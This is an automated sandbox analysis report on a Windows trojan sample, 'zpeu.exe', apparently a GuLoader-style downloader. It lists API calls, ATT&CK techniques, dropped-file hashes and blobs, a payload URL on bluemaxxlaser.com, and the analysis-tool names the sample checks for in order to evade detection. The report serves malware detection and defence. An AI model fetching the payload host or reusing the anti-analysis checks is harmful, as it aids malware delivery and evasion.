    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,2_2_10001B18
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_3_0008026A mov eax, dword ptr fs:[00000030h]5_3_0008026A
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,2_2_0040333D
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OllyDbg.exe
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tcpview.exe
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Wireshark.exe
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: lordpe.exe
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: procexp.exe
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Procmon.exe
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: autoruns.exe
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: regmon.exe
    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid Accounts1
    Native API
    1
    Registry Run Keys / Startup Folder
    1
    Access Token Manipulation
    1
    Masquerading
    OS Credential Dumping211
    Security Software Discovery
    Remote Services1
    Archive Collected Data
    Exfiltration Over Other Network Medium1
    Encrypted Channel
    Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
    System Shutdown/Reboot
    Default AccountsScheduled Task/Job1
    DLL Side-Loading
    1
    Process Injection
    22
    Virtualization/Sandbox Evasion
    LSASS Memory22
    Virtualization/Sandbox Evasion
    Remote Desktop Protocol1
    Clipboard Data
    Exfiltration Over Bluetooth1
    Ingress Tool Transfer
    Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)1
    Registry Run Keys / Startup Folder
    1
    Access Token Manipulation
    Security Account Manager1
    Application Window Discovery
    SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration2
    Non-Application Layer Protocol
    Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)1
    DLL Side-Loading
    1
    Process Injection
    NTDS2
    File and Directory Discovery
    Distributed Component Object ModelInput CaptureScheduled Transfer12
    Application Layer Protocol
    SIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
    Obfuscated Files or Information
    LSA Secrets3
    System Information Discovery
    SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
    Replication Through Removable MediaLaunchdRc.commonRc.common1
    DLL Side-Loading
    Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand
    SourceDetectionScannerLabelLink
    zpeu.exe11%VirustotalBrowse
    zpeu.exe3%ReversingLabs
    SourceDetectionScannerLabelLink
    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Mammutternes\SharpDX.DXGI.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll0%ReversingLabs
    No Antivirus matches
    No Antivirus matches
    SourceDetectionScannerLabelLink
    http://bluemaxxlaser.com/rh/rheu.binBrudsSvealramsyadvocates.com/rh/rheu.bin0%Avira URL Cloudsafe
    http://bluemaxxlaser.com/rh/rheu.binHBW0%Avira URL Cloudsafe
    http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd0%Avira URL Cloudsafe
    http://bluemaxxlaser.com/rh/rheu.binm0%Avira URL Cloudsafe
    http://bluemaxxlaser.com/rh/rheu.bingB40%Avira URL Cloudsafe
    http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd0%VirustotalBrowse
    http://www.oruddho.com0%Avira URL Cloudsafe
    http://bluemaxxlaser.com/rh/rheu.bin8D.0%Avira URL Cloudsafe
    https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-2140%Avira URL Cloudsafe
    http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.0%Avira URL Cloudsafe
    http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd0%Avira URL Cloudsafe
    http://bluemaxxlaser.com/rh/rheu.bin0%Avira URL Cloudsafe
    http://bluemaxxlaser.com/mD0%Avira URL Cloudsafe
    http://www.gopher.ftp://ftp.0%Avira URL Cloudsafe
    http://bluemaxxlaser.com/0%Avira URL Cloudsafe
    NameIPActiveMaliciousAntivirus DetectionReputation
    bluemaxxlaser.com
    203.175.174.69
    truefalse
      unknown
      NameMaliciousAntivirus DetectionReputation
      http://bluemaxxlaser.com/rh/rheu.binfalse
      • Avira URL Cloud: safe
      unknown
      NameSourceMaliciousAntivirus DetectionReputation
      http://bluemaxxlaser.com/rh/rheu.binHBWzpeu.exe, 00000005.00000003.56720366842.0000000005AD2000.00000004.00000020.00020000.00000000.sdmpfalse
      • Avira URL Cloud: safe
      unknown
      http://bluemaxxlaser.com/rh/rheu.bingB4zpeu.exe, 00000005.00000003.56720366842.0000000005AD2000.00000004.00000020.00020000.00000000.sdmpfalse
      • Avira URL Cloud: safe
      unknown
      http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtdzpeu.exe, 00000005.00000001.56020343851.00000000005F2000.00000020.00000001.01000000.00000006.sdmpfalse
      • 0%, Virustotal, Browse
      • Avira URL Cloud: safe
      unknown
      http://bluemaxxlaser.com/rh/rheu.binBrudsSvealramsyadvocates.com/rh/rheu.binzpeu.exe, 00000005.00000002.56740811351.00000000352E0000.00000004.00001000.00020000.00000000.sdmpfalse
      • Avira URL Cloud: safe
      unknown
      http://bluemaxxlaser.com/rh/rheu.binmzpeu.exe, 00000005.00000002.56728126593.0000000005A78000.00000004.00000020.00020000.00000000.sdmpfalse
      • Avira URL Cloud: safe
      unknown
      http://www.oruddho.comzpeu.exe, 00000002.00000003.55443795260.0000000002971000.00000004.00000020.00020000.00000000.sdmp, bn.txt.2.drfalse
      • Avira URL Cloud: safe
      unknown
      http://bluemaxxlaser.com/rh/rheu.bin8D.zpeu.exe, 00000005.00000003.56720366842.0000000005AD2000.00000004.00000020.00020000.00000000.sdmpfalse
      • Avira URL Cloud: safe
      unknown
      https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214zpeu.exe, 00000005.00000001.56020343851.0000000000649000.00000020.00000001.01000000.00000006.sdmpfalse
      • Avira URL Cloud: safe
      unknown
      http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.zpeu.exe, 00000005.00000001.56020343851.0000000000649000.00000020.00000001.01000000.00000006.sdmpfalse
      • Avira URL Cloud: safe
      unknown
      http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtdzpeu.exe, 00000005.00000001.56020343851.00000000005F2000.00000020.00000001.01000000.00000006.sdmpfalse
      • Avira URL Cloud: safe
      unknown
      http://bluemaxxlaser.com/mDzpeu.exe, 00000005.00000003.56720366842.0000000005AD2000.00000004.00000020.00020000.00000000.sdmpfalse
      • Avira URL Cloud: safe
      unknown
      http://bluemaxxlaser.com/zpeu.exe, 00000005.00000003.56720366842.0000000005AD2000.00000004.00000020.00020000.00000000.sdmpfalse
      • Avira URL Cloud: safe
      unknown
      http://nsis.sf.net/NSIS_ErrorErrorzpeu.exefalse
        high
        http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTDzpeu.exe, 00000005.00000001.56020343851.0000000000626000.00000020.00000001.01000000.00000006.sdmpfalse
          high
          http://www.gopher.ftp://ftp.zpeu.exe, 00000005.00000001.56020343851.0000000000649000.00000020.00000001.01000000.00000006.sdmpfalse
          • Avira URL Cloud: safe
          unknown
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          203.175.174.69
          bluemaxxlaser.comSingapore
          24482SGGS-AS-APSGGSSGfalse
          Joe Sandbox Version:37.1.0 Beryl
          Analysis ID:879661
          Start date and time:2023-06-01 10:42:36 +02:00
          Joe Sandbox Product:CloudBasic
          Overall analysis duration:0h 10m 30s
          Hypervisor based Inspection enabled:false
          Report type:full
          Cookbook file name:default.jbs
          Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
          Number of analysed new started processes analysed:10
          Number of new started drivers analysed:0
          Number of existing processes analysed:0
          Number of existing drivers analysed:0
          Number of injected processes analysed:0
          Technologies:
          • HCA enabled
          • EGA enabled
          • HDC enabled
          • AMSI enabled
          Analysis Mode:default
          Analysis stop reason:Timeout
          Sample file name:zpeu.exe
          Detection:MAL
          Classification:mal68.troj.evad.winEXE@3/8@1/1
          EGA Information:
          • Successful, ratio: 50%
          HDC Information:
          • Successful, ratio: 62.4% (good quality ratio 61.2%)
          • Quality average: 88.1%
          • Quality standard deviation: 22%
          HCA Information:
          • Successful, ratio: 100%
          • Number of executed functions: 56
          • Number of non-executed functions: 32
          Cookbook Comments:
          • Found application associated with file extension: .exe
          • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
          • Stop behavior analysis, all processes terminated
          • Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
          • Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, RuntimeBroker.exe, backgroundTaskHost.exe, svchost.exe
          • Excluded IPs from analysis (whitelisted): 20.54.122.82, 20.82.207.122
          • Excluded domains from analysis (whitelisted): wd-prod-cp-eu-north-1-fe.northeurope.cloudapp.azure.com, spclient.wg.spotify.com, wdcpalt.microsoft.com, tile-service.weather.microsoft.com, wd-prod-cp-eu-north-2-fe.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, wdcp.microsoft.com, wd-prod-cp.trafficmanager.net
          • Execution Graph export aborted for target zpeu.exe, PID 7664 because there are no executed function
          • Report size getting too big, too many NtCreateFile calls found.
          • Report size getting too big, too many NtOpenKeyEx calls found.
          • Report size getting too big, too many NtQueryValueKey calls found.
          • Report size getting too big, too many NtSetInformationFile calls found.
          No simulations
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          203.175.174.69as.ps1Get hashmaliciousGuLoaderBrowse
          • www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          bluemaxxlaser.comas.ps1Get hashmaliciousGuLoaderBrowse
          • 203.175.174.69
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          SGGS-AS-APSGGSSGas.ps1Get hashmaliciousGuLoaderBrowse
          • 203.175.174.69
          Fe7MaP3DNP.elfGet hashmaliciousMiraiBrowse
          • 103.14.247.10
          Demon.x86.elfGet hashmaliciousUnknownBrowse
          • 103.14.247.55
          tebjuOp0kK.elfGet hashmaliciousMiraiBrowse
          • 103.14.247.35
          7Hhy4dfkst.elfGet hashmaliciousMiraiBrowse
          • 103.14.247.31
          5HzazUnnF6.elfGet hashmaliciousMiraiBrowse
          • 103.14.247.75
          4M3ACl2k2v.elfGet hashmaliciousUnknownBrowse
          • 103.14.247.47
          wget.elfGet hashmaliciousUnknownBrowse
          • 103.14.247.29
          chB6z5L2GD.elfGet hashmaliciousMiraiBrowse
          • 103.14.247.10
          86iDRbpkXb.elfGet hashmaliciousMiraiBrowse
          • 103.14.247.72
          yC34ftIroi.elfGet hashmaliciousMiraiBrowse
          • 103.14.247.68
          http://singaporeoptometricassociation.com/Get hashmaliciousUnknownBrowse
          • 203.175.162.79
          PiuV0y8Fw8.elfGet hashmaliciousMiraiBrowse
          • 103.14.247.49
          BvZi2Dj3LS.elfGet hashmaliciousMiraiBrowse
          • 103.14.247.26
          q44S0kQ3wZ.exeGet hashmaliciousAgentTesla, VidarBrowse
          • 203.175.174.68
          SecuriteInfo.com.Win32.PWSX-gen.18409.25600.exeGet hashmaliciousAgentTeslaBrowse
          • 203.175.168.182
          #U260e#Ufe0f E-Fax-Invoice.htmGet hashmaliciousHTMLPhisherBrowse
          • 203.175.162.6
          https://faxcorporation1.od2.vtiger.com/pages/new_fax_receievedGet hashmaliciousHTMLPhisherBrowse
          • 203.175.162.6
          aJF1hL1hAJ.dllGet hashmaliciousWannacryBrowse
          • 124.6.37.129
          zzb 2306.xlsGet hashmaliciousHidden Macro 4.0, EmotetBrowse
          • 203.175.171.51
          No context
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Mammutternes\SharpDX.DXGI.dllas.ps1Get hashmaliciousGuLoaderBrowse
            KwP6qU3cQ8.exeGet hashmaliciousFormBook, GuLoaderBrowse
              KwP6qU3cQ8.exeGet hashmaliciousGuLoaderBrowse
                DB948GHBNJI.xlsxGet hashmaliciousGuLoaderBrowse
                  Order-new world foods.xlsxGet hashmaliciousGuLoaderBrowse
                    8cAZneRN6B.exeGet hashmaliciousFormBook, GuLoaderBrowse
                      8cAZneRN6B.exeGet hashmaliciousGuLoaderBrowse
                        fr34veeTGm.exeGet hashmaliciousFormBook, GuLoaderBrowse
                          fr34veeTGm.exeGet hashmaliciousGuLoaderBrowse
                            ShipmentReceipt9521368040.xlsxGet hashmaliciousGuLoaderBrowse
                              njUIPPVrud.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                njUIPPVrud.exeGet hashmaliciousGuLoaderBrowse
                                  ShipmentReceipt93213628045.xlsxGet hashmaliciousGuLoaderBrowse
                                    Process:C:\Users\user\Desktop\zpeu.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):454720
                                    Entropy (8bit):7.996468822896964
                                    Encrypted:true
                                    SSDEEP:12288:0g7BSxexpmRUjQFbjRG7xw/CWmJI/u+nnrP9Gox:DBy2iBMxtWmJI/JDIox
                                    MD5:E9B9BBF46803F5A7AEF0F8CBAEA6E9DD
                                    SHA1:B10761683AF514E951271233C0377680D4E0D650
                                    SHA-256:EB1DA67295D161CB67A774B580B5F8FFB6C17244B1F4072DBFC87FA935A2471C
                                    SHA-512:8882C5183CBEA0329CA25CD0D4AD85740E2E4A2E3AFFFB46716AF2EF65C3743CF68E7B1DA0D81D76D7F554142DA9BEC3104802A023E0487A9C271D2E806A8F0C
                                    Malicious:false
                                    Reputation:low
                                    Preview:..jP...t.w.M...G..wP.c.2>.m.....H.,q..8.#..x ..L.j..&.oc?mp%.v..7.....1.........t.R..k...B..I..EL..q....yl..B..Trf..^[.t?.U^....q.o...%......w..)6E....!|. ....*.Fb...!7..).o.[.Li.9.7.m...d.c...Hh.x....J;j..r.&q\nk..N+.X....yM0...s....\..p..e.FL./.`G..uz....X..J.P.s.2)..X...@W$...4.p....m......*...0(...7..0`.....G."W....'......5..x..;E...N&..G...n.$.'.50....Q.8.N....^d.zN....,...J|zO...F./..K..4T_..L.i..[^..p.W&0W...%.8`.q.1G..F.el.."....D1...!w.t....\..&..y.?[p....%..pH....{...n....,4.o.!.6.Kj:7..".o....%k...Nv..-....o.C..C..`..;..|.J!..p...>.4w6.......3.rV....]).n..P..t...#}..j....X}.d..@.h....b......s..u.....X...jO'm...?.9.~G.....=#.j...D.....y...hT.P........z.aX*8.y.......t...W...E.V7....... ..[..D..xe..W8J<........M....H6.....]Z...7.1........E...=.IK..B.[....t.....S..Zs.XY.smD...q../....Q......v.@......?......T.`...V5........P&F...F..3.A...e./.o.?.:'...GC.$...An..;..H.2....LC.?j.)..A..75..D.a.F|..P..1.s.........Q.X.^.5J..'.4.
                                    Process:C:\Users\user\Desktop\zpeu.exe
                                    File Type:ASCII text, with very long lines (59774), with no line terminators
                                    Category:dropped
                                    Size (bytes):59774
                                    Entropy (8bit):2.6467290056820447
                                    Encrypted:false
                                    SSDEEP:768:kw8TLvmSDODA2WJNU1hbIMp4FLiSZpFv0e3l89HhHLAjVth5rl0p/3j9M/GxkaWN:X0NU2LD6em9Hpsh5rSSG0kFjHY
                                    MD5:F489B70DEC15E148A222C7F0F359697C
                                    SHA1:862A0D66D92953DD9CF26E1656604BAB05461CAA
                                    SHA-256:E79B15344AA9D30BEB25581401F1BCC9BD618F4D54FB924925A220E3FA27A72E
                                    SHA-512:CDC6F2D8A71CF4D93BE9B462657744355CAC9C81E6AE3774362863B7E2EC49FE2BECBDD5F2609C4D9FF29194DDA90947F36EF4E9D0155FE8C9226183D50338BE
                                    Malicious:false
                                    Reputation:low
                                    Preview:0000000074001C1C000000B30081810000F5007676000090909090007F7F00D6D60000000404007200000000000000000000000000D0D000003C000000000000D80020000000B1B10000000000006500000026000098980000340000000000F1F1F10000000000002700220000F70098000B00000071003E00000000004900B100E900005F000000B300B1B10000002A000000EDED00F200313131313100000000B5B5B5B50015000000004200B100006D00D300007A7A7A00E300F8F800000000D5008585000000000062004800007B7B005959590099000064005D003800F400000069001B1B1B1B00000000DEDEDE009A9A9A008800002F2F002A2A0000A5A5000000DDDD0000EBEB0017171700000000131313131300F1000016002020200077000000B0B0B000424200E2E20000A00000006F6F00380050000026260000BCBC000000ABAB000076000000848484000000960000520000007F7F0000000000EAEAEA000000004B4B000000000A00CF000011111111001414140000E50000000C007400000000D90000000000F200001B1B001800000C000000007474005F0000FCFCFCFCFC00B1000000B60000310000656565000000D2000016000052520000E000000202020200C1C100C3C30000750000000000560000004000ECEC00004545454545000000F2F2F2009800001B00002D
                                    Process:C:\Users\user\Desktop\zpeu.exe
                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                    Category:dropped
                                    Size (bytes):88064
                                    Entropy (8bit):5.775805248630538
                                    Encrypted:false
                                    SSDEEP:1536:QFNovLGNuZPQtwhY4SFDivO5Ib6VU3x8sDKxq:QFNsLGNulhY4SG+xq
                                    MD5:0EDD7743DB76D68D2E198F137E56360C
                                    SHA1:76B0ACA1C410901C8399FBFDAC2AC36E80C4837C
                                    SHA-256:F03C45B29D8DB5C2BD9461EFB834723C2F9C84A1FED921D9577BC0511AE0B86D
                                    SHA-512:67716007A5771D3A45104CB0C3823EBAE58F39E91B5A8AA4653A6FD3E65162C824DF7E5944A123DA70F7739904EF46E43B7A7E1906BE95FB11CAE906673FBB58
                                    Malicious:false
                                    Antivirus:
                                    • Antivirus: ReversingLabs, Detection: 0%
                                    Joe Sandbox View:
                                    • Filename: as.ps1, Detection: malicious, Browse
                                    • Filename: KwP6qU3cQ8.exe, Detection: malicious, Browse
                                    • Filename: KwP6qU3cQ8.exe, Detection: malicious, Browse
                                    • Filename: DB948GHBNJI.xlsx, Detection: malicious, Browse
                                    • Filename: Order-new world foods.xlsx, Detection: malicious, Browse
                                    • Filename: 8cAZneRN6B.exe, Detection: malicious, Browse
                                    • Filename: 8cAZneRN6B.exe, Detection: malicious, Browse
                                    • Filename: fr34veeTGm.exe, Detection: malicious, Browse
                                    • Filename: fr34veeTGm.exe, Detection: malicious, Browse
                                    • Filename: ShipmentReceipt9521368040.xlsx, Detection: malicious, Browse
                                    • Filename: njUIPPVrud.exe, Detection: malicious, Browse
                                    • Filename: njUIPPVrud.exe, Detection: malicious, Browse
                                    • Filename: ShipmentReceipt93213628045.xlsx, Detection: malicious, Browse
                                    Reputation:moderate, very likely benign file
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....e.O...........!.....N..........~m... ........@.. ...............................%....@.................................$m..W....................................l............................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................`m......H........F...&...................E.......................................(....*..0................(....(......(....&.(...+*."..(....*...Z.~....(....-..s....*.*..0..6........{.........(.....{....M........ZXM)....(.......(.....*...0..D........{........,..o....+.~....(.....{....M........ZXM)....(.......(.....*.0..5..........{..........(.....{....M........ZXM)....(.........*....0..6..........{..........{....M........ZXM)....(..........(.....*...0..:.......s.......o......(......~.
                                    Process:C:\Users\user\Desktop\zpeu.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):121849
                                    Entropy (8bit):7.662347890827566
                                    Encrypted:false
                                    SSDEEP:3072:+OAFyVkJEY9xwKK8CFzTDrrMsHB/8ihbaR9ZkoeHd7qEbsd3MhC35/V:+RFyeXwKGND3BB/PgR/idLbqB/V
                                    MD5:7D91CA4A8D7584566C7DB6D1ED36AD32
                                    SHA1:219745FA91441B55F862E3E7B4656219E3E9A55A
                                    SHA-256:F1CBC68F0F9D55FB547E53DD8BA3E58D38EEF0A45FFDA6633F8E1A31DE46A405
                                    SHA-512:7F19AB5B2D47D6F2511B0FC0A0F49F0FA72EA7AE3C9B68C7A065DCC1AE90138934EE753E20109B578A03EFE53EB792C893D3E7E8D088E4A9211FBC2D77C7A092
                                    Malicious:false
                                    Reputation:low
                                    Preview:...................................:.ll...........+...`.........................-............v.............................4.;......................;....J.............................BBB.....zzz.......:.....I.....................!..........................zzz.r..:........C........55555.............Z....]..................... ........nn.DDD..\.............6.U....?................rrr......................l...m....................................................RRR.9999..VVVVVV.......................................hh..kkk...............+++.....000.......................ccc..............[.55..`.......:....GG.....................=..""............6....gg.....WW..a.......0........v.++..........DDDDDDD.>>.M....................v..^^.............pppp..........ff.............................zz....pp...........L..E.....!.G............!!............oo.....#.....GGG...........L.--.................6............d..........&...1......................................P.......iii......(.}}...............
                                    Process:C:\Users\user\Desktop\zpeu.exe
                                    File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):15062
                                    Entropy (8bit):4.039346182307332
                                    Encrypted:false
                                    SSDEEP:192:iM+g4O23sZEstg+lTr++0Mx148IiZaXTXEU10bXYc+4/rexX4:iMyc2stg+lTr++0MQ8DZRDYc+4axI
                                    MD5:D0E788F64268D15B4391F052B1F4B18A
                                    SHA1:2FD8E0A9DD22A729D578536D560354C944C7C93E
                                    SHA-256:216CC780E371DC318C8B15B84DE8A5EC0E28F712B3109A991C8A09CDDAA2A81A
                                    SHA-512:D50EA673018472C17DB44B315F4C343A2924A2EAA95C668D1160AA3830533CA37CC13C2067911A0756F1BE8C41DF45669ABE083759DCB9436F98E90CBB6AC8BF
                                    Malicious:false
                                    Preview:.;!@Lang2@!UTF-8!..; 4.46 : Team Oruddho (Fahad Mohammad Shaon, Mahmud Hassan) : http://www.oruddho.com..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Bangla.........401..... ..................&.......&....&.... ................&...... .......440..&....... .... ........&...... .... .............. ......&........& .......&.............. ............... ..... .... ......?..500..&......&..................&..&.......&........&........540..&........ .....7-zip-. ........ ........... ........ .....&..........&............. ...
                                    Process:C:\Users\user\Desktop\zpeu.exe
                                    File Type:SVG Scalable Vector Graphics image
                                    Category:dropped
                                    Size (bytes):713
                                    Entropy (8bit):4.445408002557924
                                    Encrypted:false
                                    SSDEEP:12:TMHdPnnl/nu3tlndL9+Wlz3MQFcWUio23kRqaM8UwYOWlz2Wlzm7Wlzi5WlzsbWW:2dPnnxu3tldLklFWUi/3kRqaRUZODv7R
                                    MD5:9A5B1DB3C4E78A928BDB639BE46AA003
                                    SHA1:595D3D9C7BB646CF607923AEBC3583B48F03B426
                                    SHA-256:0C481D646B531DCBF2FCCE2A034CE6A202CAEEB1C17A591756CB3A08514AC9ED
                                    SHA-512:CA5E59B27D89651DFE89868C2D0DF63EFE64AB4B3E0E49937CFC15E84610505E2378E29D716FB803BEF74C80D99D25E93B7D5E8D7B1BE3EF905A8C910011F47F
                                    Malicious:false
                                    Preview:<?xml version="1.0" encoding="UTF-8"?>.<svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg">. <g fill="#2e3436">. <path d="m 11 8 c 0 1.65625 -1.34375 3 -3 3 s -3 -1.34375 -3 -3 s 1.34375 -3 3 -3 s 3 1.34375 3 3 z m 0 0"/>. <path d="m 8 1 c -3.851562 0 -7 3.144531 -7 7 s 3.148438 7 7 7 s 7 -3.144531 7 -7 s -3.148438 -7 -7 -7 z m 0 2 c 2.773438 0 5 2.230469 5 5 s -2.226562 4.996094 -5 4.996094 s -5 -2.226563 -5 -4.996094 s 2.226562 -5 5 -5 z m 0 0"/>. <path d="m 7 0 h 2 v 3 h -2 z m 0 0"/>. <path d="m 7 13 h 2 v 3 h -2 z m 0 0"/>. <path d="m 16 7 v 2 h -3 v -2 z m 0 0"/>. <path d="m 3 7 v 2 h -3 v -2 z m 0 0"/>. </g>.</svg>.
                                    Process:C:\Users\user\Desktop\zpeu.exe
                                    File Type:SVG Scalable Vector Graphics image
                                    Category:dropped
                                    Size (bytes):441
                                    Entropy (8bit):4.575285851859924
                                    Encrypted:false
                                    SSDEEP:12:t4CDqwqZo8nGGa6Smf+e9s/J7e3VN5IUavl+i:t4CGosm6Sle9s/Be3Vv+lN
                                    MD5:79F668FBC971471D3CE930DD5B53F01D
